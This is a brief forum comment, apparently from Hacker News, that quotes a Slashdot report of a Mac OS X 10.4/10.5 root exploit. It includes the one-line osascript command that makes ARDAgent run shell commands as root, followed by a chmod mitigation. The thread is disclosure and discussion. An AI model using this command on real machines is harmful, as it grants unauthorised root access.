3 ms·
The slashdot summary: Half the Mac OS X boxes in the world (confirmed on Mac OS X 10.4 Tiger and 10.5 Leopard) can be rooted through AppleScript: osascript -
by bayareaguy 18y ago
The slashdot summary: Half the Mac OS X boxes in the world (confirmed on Mac OS X 10.4 Tiger and 10.5 Leopard) can be rooted through AppleScript:
osascript -e 'tell app "ARDAgent" to do shell script "whoami"';
Works for normal users and admins, provided the normal user wasn't switched to via fast user switching. Secure? I think not.
Wow, time to
sudo chmod u-s /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent
just like patrick42 suggests.